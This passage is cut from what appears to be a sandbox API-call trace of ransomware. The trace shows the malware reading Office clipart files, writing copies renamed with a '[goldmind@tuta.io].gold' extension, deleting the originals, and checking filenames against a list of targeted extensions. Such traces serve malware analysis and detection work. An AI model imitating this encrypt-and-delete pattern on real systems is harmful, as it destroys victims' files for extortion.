Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.392] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=64802) returned 1 [0109.392] CloseHandle (hObject=0x364) returned 1 [0109.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg")) returned 0x20 [0109.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0109.443] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.443] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0109.444] GetLastError () returned 0x0 [0109.444] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xfd22, lpOverlapped=0x0) returned 1 [0109.449] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xfd30, lpOverlapped=0x0) returned 1 [0109.451] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.451] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.451] SetEndOfFile (hFile=0x3b8) returned 1 [0109.451] CloseHandle (hObject=0x3b8) returned 1 [0109.451] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.451] SetEndOfFile (hFile=0x3a0) returned 1 [0109.453] CloseHandle (hObject=0x3a0) returned 1 [0109.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0109.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.500] lstrlenW (lpString=".doc") returned 4 [0109.500] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.500] lstrlenW (lpString=".docx") returned 5 [0109.500] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0109.500] lstrlenW (lpString=".pdf") returned 4 [0109.500] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.500] lstrlenW (lpString=".xls") returned 4 [0109.500] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.500] lstrlenW (lpString=".xlsx") returned 5 [0109.500] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0109.500] lstrlenW (lpString=".ppt") returned 4 [0109.500] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.501] lstrlenW (lpString=".zip") returned 4 [0109.501] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.501] lstrlenW (lpString=".rar") returned 4 [0109.501] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.501] lstrlenW (lpString=".bz2") returned 4 [0109.501] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.501] lstrlenW (lpString=".7z") returned 3 [0109.501] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.501] lstrlenW (lpString=".dbf") returned 4 [0109.501] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.501] lstrlenW (lpString=".1cd") returned 4 [0109.501] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.501] lstrlenW (lpString=".jpg") returned 4 [0109.501] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.501] lstrlenW (lpString=".doc") returned 4 [0109.501] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.501] lstrlenW (lpString=".docx") returned 5 [0109.501] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0109.501] lstrlenW (lpString=".pdf") returned 4 [0109.501] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.501] lstrlenW (lpString=".xls") returned 4 [0109.501] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.501] lstrlenW (lpString=".xlsx") returned 5 [0109.501] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0109.501] lstrlenW (lpString=".ppt") returned 4 [0109.501] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.501] lstrlenW (lpString=".zip") returned 4 [0109.501] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.501] lstrlenW (lpString=".rar") returned 4 [0109.501] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.501] lstrlenW (lpString=".bz2") returned 4 [0109.501] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.501] lstrlenW (lpString=".7z") returned 3 [0109.501] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.501] lstrlenW (lpString=".dbf") returned 4 [0109.501] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.501] lstrlenW (lpString=".1cd") returned 4 [0109.501] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0109.501] lstrlenW (lpString=".jpg") returned 4 [0109.501] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.502] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.502] lstrlenW (lpString="J0151073.WMF") returned 12 [0109.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.502] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=13336) returned 1 [0109.502] CloseHandle (hObject=0x188) returned 1 [0109.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf")) returned 0x20 [0109.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.503] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0109.503] GetLastError () returned 0x0 [0109.503] ReadFile (in: hFile=0x188, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3418, lpOverlapped=0x0) returned 1 [0109.508] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3420, lpOverlapped=0x0) returned 1 [0109.509] ReadFile (in: hFile=0x188, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.509] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.509] SetEndOfFile (hFile=0x3b8) returned 1 [0109.509] CloseHandle (hObject=0x3b8) returned 1 [0109.509] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.510] SetEndOfFile (hFile=0x188) returned 1 [0109.513] CloseHandle (hObject=0x188) returned 1 [0109.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf")) returned 1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.565] lstrlenW (lpString=".doc") returned 4 [0109.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString=".docx") returned 5 [0109.565] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0109.565] lstrlenW (lpString=".pdf") returned 4 [0109.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString=".xls") returned 4 [0109.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.565] lstrlenW (lpString=".xlsx") returned 5 [0109.565] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0109.565] lstrlenW (lpString=".ppt") returned 4 [0109.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.565] lstrlenW (lpString=".zip") returned 4 [0109.565] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.565] lstrlenW (lpString=".rar") returned 4 [0109.565] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString=".bz2") returned 4 [0109.565] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString=".7z") returned 3 [0109.565] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.565] lstrlenW (lpString=".dbf") returned 4 [0109.565] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.565] lstrlenW (lpString=".1cd") returned 4 [0109.565] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.565] lstrlenW (lpString=".jpg") returned 4 [0109.565] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.565] lstrlenW (lpString=".doc") returned 4 [0109.565] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString=".docx") returned 5 [0109.565] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0109.565] lstrlenW (lpString=".pdf") returned 4 [0109.565] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString=".xls") returned 4 [0109.565] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.565] lstrlenW (lpString=".xlsx") returned 5 [0109.565] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0109.565] lstrlenW (lpString=".ppt") returned 4 [0109.565] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.566] lstrlenW (lpString=".zip") returned 4 [0109.566] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.566] lstrlenW (lpString=".rar") returned 4 [0109.566] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.566] lstrlenW (lpString=".bz2") returned 4 [0109.566] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.566] lstrlenW (lpString=".7z") returned 3 [0109.566] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.566] lstrlenW (lpString=".dbf") returned 4 [0109.566] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.566] lstrlenW (lpString=".1cd") returned 4 [0109.566] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned 63 [0109.566] lstrlenW (lpString=".jpg") returned 4 [0109.566] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.566] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.566] lstrlenW (lpString="J0152556.WMF") returned 12 [0109.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.566] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=16432) returned 1 [0109.567] CloseHandle (hObject=0x230) returned 1 [0109.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf")) returned 0x20 [0109.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.567] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.567] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0109.568] GetLastError () returned 0x0 [0109.568] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4030, lpOverlapped=0x0) returned 1 [0109.593] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4040, lpOverlapped=0x0) returned 1 [0109.594] ReadFile (in: hFile=0x230, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.594] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.594] SetEndOfFile (hFile=0x3ac) returned 1 [0109.594] CloseHandle (hObject=0x3ac) returned 1 [0109.594] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.594] SetEndOfFile (hFile=0x230) returned 1 [0109.597] CloseHandle (hObject=0x230) returned 1 [0109.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0109.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.632] lstrlenW (lpString=".doc") returned 4 [0109.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.632] lstrlenW (lpString=".docx") returned 5 [0109.632] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0109.633] lstrlenW (lpString=".pdf") returned 4 [0109.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString=".xls") returned 4 [0109.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.633] lstrlenW (lpString=".xlsx") returned 5 [0109.633] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0109.633] lstrlenW (lpString=".ppt") returned 4 [0109.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.633] lstrlenW (lpString=".zip") returned 4 [0109.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.633] lstrlenW (lpString=".rar") returned 4 [0109.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString=".bz2") returned 4 [0109.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString=".7z") returned 3 [0109.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.633] lstrlenW (lpString=".dbf") returned 4 [0109.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.633] lstrlenW (lpString=".1cd") returned 4 [0109.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.633] lstrlenW (lpString=".jpg") returned 4 [0109.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.633] lstrlenW (lpString=".doc") returned 4 [0109.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString=".docx") returned 5 [0109.633] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0109.633] lstrlenW (lpString=".pdf") returned 4 [0109.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString=".xls") returned 4 [0109.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.633] lstrlenW (lpString=".xlsx") returned 5 [0109.633] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0109.633] lstrlenW (lpString=".ppt") returned 4 [0109.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.633] lstrlenW (lpString=".zip") returned 4 [0109.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.633] lstrlenW (lpString=".rar") returned 4 [0109.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString=".bz2") returned 4 [0109.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString=".7z") returned 3 [0109.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.633] lstrlenW (lpString=".dbf") returned 4 [0109.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.633] lstrlenW (lpString=".1cd") returned 4 [0109.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF") returned 63 [0109.634] lstrlenW (lpString=".jpg") returned 4 [0109.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.634] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.634] lstrlenW (lpString="J0152560.WMF") returned 12 [0109.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.634] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=10880) returned 1 [0109.634] CloseHandle (hObject=0x230) returned 1 [0109.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152560.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152560.wmf")) returned 0x20 [0109.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 